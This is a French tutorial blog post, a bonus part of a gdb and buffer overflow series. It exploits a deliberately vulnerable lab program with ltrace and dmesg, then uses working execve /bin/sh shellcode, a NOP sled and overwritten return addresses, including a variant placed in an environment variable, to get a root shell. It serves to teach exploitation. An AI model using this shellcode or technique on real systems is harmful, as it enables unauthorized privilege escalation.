Buffer Overflow & gdb – Bonus

Cet article est un complément au triptyque gdb & Buffer Overflow. Je vous invite à découvrir les articles précédents avant de poursuivre la lecture de ce complément :

Usefull tools

  • dmesg : permet de récupérer les messages du noyau, comme les infos de crash d’un programme (contenant l’EIP).
  • strings <file> : affiche les chaînes de caractères trouvées dans un fichier.
  • nm <binary> : liste les symboles d’un binaire : l’adresse des zones mémoires, l’adresse des fonctions, etc…
  • ltrace <binary> : liste les appels vers les fonctions contenues dans les bibliothèques partagées.
  • strace <binary> : liste les appels système et les signaux.

Exploit Sans gdb

magic-hat-wandDans la Part 3 je vous avais dit qu’il n’était même pas nécessaire de lancer gdb pour réussir à exploiter un buffer overflow très basique. Et bien je vais vous le prouver !

Get the Fake Return Address

L’outil de débogage ltrace permet de lister tous les appels vers les fonctions contenues dans les bibliothèques partagées mais pas celles contenues directement dans le programme (statiques). Une autre information très utile que ltrace permet de récupérer est l’adresse de certains pointeurs… Comme celui utilisé pour copier le contenu de l’argument de funcMyLife() dans la variable buffer[128]

user1@kali:~$ ltrace ./bfpoc Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
__libc_start_main(0x804848b, 2, 0xffffd3a4, 0x8048590 <unfinished ...>
puts("[0] main() Start here."[0] main() Start here.
) = 23
puts("[1] Calling funcMyLife()."[1] Calling funcMyLife().
) = 26
puts("[2] funcMyLife() Start here."[2] funcMyLife() Start here.
) = 29
puts("[3] Variable buffer declaration."...[3] Variable buffer declaration.
) = 33
puts("[4] Calling strcpy(). <= [Vulner"...[4] Calling strcpy(). <= [Vulnerability]
) = 41
strcpy(0xffffd250, "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab"...) = 0xffffd250,
printf("\nMessage : %s\n\n", "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab"...
Message : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
) = 213
puts("[5] funcMyLife() end at the next"...[5] funcMyLife() end at the next instruction (ret).
) = 52
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

On dispose à présent de notre Fake Return Adress, soit l’adresse de la variable buffer[128] dans laquelle se trouve notre exploit construit toujours de la même manière : NOSled + Shellcode + Padding + Fake Return Address.

Get the Offset

L’utilitaire dmesg permet d’afficher les messages du noyau depuis le démarrage de la machine. Vous voyez les lignes qui défilent lorsque vous bootez sur linux… Bah vous pouvez les retrouver dans dmesg au tout début des logs affichés. Mais ce n’est pas tout, cet utilitaire permet de récupérer une information très utile lors du crash d’un programme, le dernier EIP avant l’interruption !

user1@kali:~$ dmesg
[...]
[69446.987453] bfpoc[37825]: segfault at 37654136 ip 0000000037654136 sp 00000000ff92d3a0 error 14

Par exemple dans mon cas l’EIP est égale à 0x37654136 qui en ASCII se traduit par 7eA6 soit en considérant la convention Little Endian : 6Ae7. Et comme vous êtes observateur, vous avez remarqué que 6Ae7 est un morceau de notre pattern précédemment utilisé pour crasher le programme. Il suffit à présent de compter combien de caractères se trouvent avant ce morceau de chaîne pour trouver l’offset, soit 140

Et c’est tout ce dont nous avons besoin ! Il nous est à présent possible de construire un exploit parfaitement fonctionnel, comme celui ci-dessous !

user1@kali:~$ ./bfpoc $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"a"*17+"\x70\xd2\xff\xff"+"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5A"')
# whoami
root

Vous remarquerez que l’on garde exactement la même longueur de buffer entre notre exploit et le pattern qui nous a permis de récupérer les informations… Ainsi on ne produit pas de décalage en mémoire en modifiant la taille des arguments… L’adresse récupérée demeure donc la bonne !

Pourquoi \x70\xd2\xff\xff et pas  \x50\xd2\xff\xff ? Car rappelez-vous, on peut tomber n’importe où dans notre NOPSled ça n’a aucune importance… On vise donc le milieu par sécurité.

Et pourquoi “a“*17 0x0ff ?.. Bon les enfants, il faut quand même lire les trois premiers volets pour comprendre cette partie bonus hein ! ;) Cela dit, je peux apporter quelques précisions intéressantes, je consens donc à vous administrer une piqûre de rappel…

17 Octets ?

Pourquoi  “a“*17 ? Dans un premier temps, rappelez vous que notre offset est de 140. Hors, notre shellcode fait 23 octets et notre NOPSled en fait 100 octets. Il manque donc 5 octets pour atteindre la taille théorique de notre variable buffer[128].

Aussi, il y a 4 octets que l’on est capable d’identifier facilement. En effet, juste avant la Return Address se trouve le saved EBP ou Saved Frame Pointer qui contient un pointeur de stack utile à la fonction appelante… Mais que sont ces 12 octets restants ?

Et bien en réalité, ils sont alloués à la variable buffer[128]… Enfin, en gros… Mais voyons comment cela se traduit en assembleur :

gdb-peda$ pdisass funcMyLife
Dump of assembler code for function funcMyLife:
 0x08048514 <+0>: push ebp
 0x08048515 <+1>: mov ebp,esp
 0x08048517 <+3>: sub esp,0x88
 0x0804851d <+9>: sub esp,0xc
 0x08048520 <+12>: push 0x8048695
 0x08048525 <+17>: call 0x8048350 <puts@plt>
 0x0804852a <+22>: add esp,0x10
 0x0804852d <+25>: sub esp,0xc
 0x08048530 <+28>: push 0x80486b4
 0x08048535 <+33>: call 0x8048350 <puts@plt>
 0x0804853a <+38>: add esp,0x10
 0x0804853d <+41>: sub esp,0xc
 0x08048540 <+44>: push 0x80486d8
 0x08048545 <+49>: call 0x8048350 <puts@plt>
 0x0804854a <+54>: add esp,0x10
 0x0804854d <+57>: sub esp,0x8
 0x08048550 <+60>: push DWORD PTR [ebp+0x8]
 0x08048553 <+63>: lea eax,[ebp-0x88] <=
 0x08048559 <+69>: push eax
 0x0804855a <+70>: call 0x8048340 <strcpy@plt>
 0x0804855f <+75>: add esp,0x10
 0x08048562 <+78>: sub esp,0x8
 0x08048565 <+81>: lea eax,[ebp-0x88] <=
 0x0804856b <+87>: push eax
 0x0804856c <+88>: push 0x8048701
 0x08048571 <+93>: call 0x8048330 <printf@plt>
 0x08048576 <+98>: add esp,0x10
 0x08048579 <+101>: sub esp,0xc
 0x0804857c <+104>: push 0x8048714
 0x08048581 <+109>: call 0x8048350 <puts@plt>
 0x08048586 <+114>: add esp,0x10
 0x08048589 <+117>: leave 
 0x0804858a <+118>: ret 
End of assembler dump.

La ligne en gras soulignée et marquée du symbole <= (vous ne pourrez pas dire que je n’y ai pas mis du mien pour vous montrer quelle ligne regarder), correspond pour faire simple à l’espace mémoire destiné à l’enregistrement de la variable buffer dans la pile.

Hors 0x88 correspond à 136 octets et non 128 comme on pourrait l’attendre ! Et devinez combien d’octets ça fait de différence ? Exactement 8 octets ! Le compte est bon : 5+4+8 = 17 !

Environ

Dans les parties précédentes, je vous ai montré que notre exploit était présent en mémoire à plusieurs endroits. Dans l’espace dédié aux arguments et dans la variable buffer.

Figurez-vous qu’il est possible de carrer notre exploit dans d’autres endroits… Non ce n’est pas une blague graveleuse. Il est par exemple possible de placer notre exploit dans une variable d’environnement.

On commence par déclarer une variable contenant notre exploit :

0x0ff@kali:~$ export exploit=$(python -c 'print "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

Maintenant, on lance gdb pour faire nos petites affaires, mais ça vous maîtrisez maintenant :

0x0ff@kali:~$ gdb ./bfpoc
gdb-peda$ break strcpy
Breakpoint 1 at 0x8048340
gdb-peda$ r $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"')
 [0] main() Start here.
 [1] Calling funcMyLife().
 [2] funcMyLife() Start here.
 [3] Variable buffer declaration.
 [4] Calling strcpy(). <= [Vulnerability]
[...]
Breakpoint 1, 0xf7e96c80 in ?? () from /lib32/libc.so.6
gdb-peda$ x/100s *environ
[...]
 0xffffd9e3: "exploit=", '\220' <repeats 192 times>...
 0xffffdaab: '\220' <repeats 200 times>...
 0xffffdb73: '\220' <repeats 200 times>...
 0xffffdc3b: '\220' <repeats 200 times>...
 0xffffdd03: '\220' <repeats 200 times>...
 0xffffddcb: "\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343PS\211\341\260\v̀"
[...]
gdb-peda$ x/100i 0xffffd9e3
 0xffffd9e3: gs
 0xffffd9e4: js 0xffffda56
 0xffffd9e6: ins BYTE PTR es:[edi],dx
 0xffffd9e7: outs dx,DWORD PTR ds:[esi]
 0xffffd9e8: imul esi,DWORD PTR [ebp+edi*1-0x70],0x90909090
 0xffffd9f0: nop
 0xffffd9f1: nop
[...]
 0xffffda4d: nop
 0xffffda4e: nop
gdb-peda$ quit

On connait à présent l’adresse de notre exploit. Vu qu’on a 1000 instructions nop, on prend relativement large, ce qui nous évitera d’être embêté par un décalage des adresses mémoire entre gdb et le shell de user1

user1@kali:~$ ./bfpoc $(python -c 'print "a"*140+"\x4e\xda\xff\xff"')
 [0] main() Start here.
 [1] Calling funcMyLife().
 [2] funcMyLife() Start here.
 [3] Variable buffer declaration.
 [4] Calling strcpy(). <= [Vulnerability]
Message : ����������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
 aaaaaaaaaaaaaaaaaN���
 [5] funcMyLife() end at the next instruction (ret).
# whoami
root
#

Fun but useless

Un petit détail amusant, l’emplacement mémoire contenant la variable d’environnement exploit commence par “exploit=“. Si l’on prend comme Fake Return Address l’adresse 0xffffd9e3, ça devrait donc logiquement merder car cette adresse ne pointe pas la NOPSled directement mais la chaîne “exploit=” correspondant à la suite d’octets 0x6578706c6f69743d suivie de la NOPSled… Mais par le plus grand des hasards, le début de cette chaîne de caractères se traduit ainsi en instructions assembleur :

0xffffd9e3: gs
0xffffd9e4: js 0xffffda56

Or, l’instruction js (Jump if Signe) réalise un saut, dans notre cas à l’instruction  0xffffda56 qui est en plein dans la NOPSled. C’est quand même cocasse ! :o)

gdb décalé

Un problème très couramment rencontré est le décalage d’adresses mémoire entre gdb et le shell de l’utilisateur. Ce décalage est causé par les variables d’environnement placées dans la mémoire à l’exécution du programme. En effet, dans gdb certaines variables sont modifiées ou ajoutées par rapport à l’environnement normal de l’utilisateur. A gauche, les variables d’environnement dans le shell de user 1. A droite, les variables d’environnement dans gdb :

printenv-vs-gdb-env

Prenons un exemple concret. Sur ma machine, la variable buffer est à l’adresse 0xffffce90 lorsque je suis sur le shell de user1 (à l’extérieur de gdb) :

user1@kali:~$ ltrace ./bfpoc $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"')
[...]
strcpy(0xffffce90, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 0xffffce90
[...]

Alors que dans gdb, en affichant la mémoire après l’exécution de la fonction strcpy, on peut voir que la variable buffer est à l’adresse 0xffffce80 :

gdb-peda$ x/80xg $esp
0xffffce70: 0xffffd160ffffce80 0xf7e7c06e08048636
0xffffce80: 0x6161616161616161 0x6161616161616161
0xffffce90: 0x6161616161616161 0x6161616161616161
0xffffcea0: 0x6161616161616161 0x6161616161616161
0xffffceb0: 0x6161616161616161 0x6161616161616161
0xffffcec0: 0x6161616161616161 0x6161616161616161
0xffffced0: 0x6161616161616161 0x6161616161616161
0xffffcee0: 0x6161616161616161 0x6161616161616161
0xffffcef0: 0x6161616161616161 0x6161616161616161
0xffffcf00: 0x6161616161616161 0xaaaaaaaa61616161

Il y a donc un décalage de 0x10 soit 16 octets entre gdb et le shell de user1 ! Soyez prudent avec ça !

link Voir : http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it

Spread The luvz..Share on FacebookTweet about this on TwitterShare on Google+Share on TumblrShare on LinkedInPin on PinterestShare on Reddit